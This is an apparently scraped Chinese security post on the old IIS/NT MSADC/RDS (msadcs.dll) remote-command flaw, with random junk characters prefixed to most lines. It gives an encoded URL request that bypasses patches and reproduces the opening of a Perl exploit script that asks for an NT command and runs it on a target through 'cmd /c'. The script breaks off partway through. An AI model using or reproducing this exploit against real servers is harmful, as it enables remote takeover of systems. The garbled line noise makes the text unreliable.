IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
~#so4<A`3 9X1vL 涉及程序:
c*axw%Us Microsoft NT server
h7.jWJTo u f<%!=e 描述:
W:j9 KhvT 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
]fh(b)8_, I5[@C<b 详细:
Je"XIhBr 如果你没有时间读详细内容的话,就删除:
+7lr#AvU/ c:\Program Files\Common Files\System\Msadc\msadcs.dll
N|"q6M!ZL 有关的安全问题就没有了。
|FaK=e E.N>,N 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
s)3CosU 2|1CGHj\ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
`B8`<3k/( 关于利用ODBC远程漏洞的描述,请参看:
<jFov`^ ZF#lh] http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm e{4e<hd \%}]wf} 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
1W0[|Hf2v* http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;*nzb!u\\ #@V<{/;49 这里不再论述。
.2rpQa/h S}Z@g 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
I:al[V2g .bV^u /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
*GhV1# < 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
9P#kV@%(0c m4~~ q[t R;U4a2~ #将下面这段保存为txt文件,然后: "perl -x 文件名"
8In~qf I3Z\]BI #!perl
@3b @]l5 #
%/nDG9l # MSADC/RDS 'usage' (aka exploit) script
K'E)?NW69 #
EN}4-P/5 # by rain.forest.puppy
G:|]w,^i #
>x~Qa@s; # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
0&kmP ' # beta test and find errors!
/{[tU-}qJ hCX/k<}I use Socket; use Getopt::Std;
?mVSc/ getopts("e:vd:h:XR", \%args);
u]9 #d^%V o?= &kx print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Jfv'M<I qM
Qu!%o if (!defined $args{h} && !defined $args{R}) {
"~K ph0- print qq~
>wYmx4W> Usage: msadc.pl -h <host> { -d <delay> -X -v }
UT 7'- -h <host> = host you want to scan (ip or domain)
S5L0[SZ$! -d <seconds> = delay between calls, default 1 second
6I_4{ -X = dump Index Server path table, if available
l8%BRG -v = verbose
Y>2#9LA -e = external dictionary file for step 5
\SgBI/L^ U:
< Or a -R will resume a command session
J*%IvRg
3F6A.Ny
~; exit;}
&`]T#"> RA+M. $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
M3d%$q)<rW if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
x
FvKjO) if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
j@UE#I|h if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Hy'EbQ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
w:1UwgcPC if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
JnQ@uZb` , a2=OV if (!defined $args{R}){ $ret = &has_msadc;
@,G\`;Ma die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
LH@Kn?R6 xA*6Z)Y print "Please type the NT commandline you want to run (cmd /c assumed):\n"
AS4oz:B . "cmd /c ";
)T
slI $in=<STDIN>; chomp $in;
m("KLp8 $command="cmd /c " . $in ;
9*!*n ~ Cnu])R if (defined $args{R}) {&load; exit;}
,HNk<W `oO*ORq& print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Ak}`zIo &try_btcustmr;
N
/;Vg^Wx ~xJr|_,gp print "\nStep 2: Trying to make our own DSN...";
c|iTRco &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
fCO<-L9k$ 5@W63!N print "\nStep 3: Trying known DSNs...";
h]Gvt 5 &known_dsn;
egWfKL&iy G ,`]2'(@ print "\nStep 4: Trying known .mdbs...";
&g8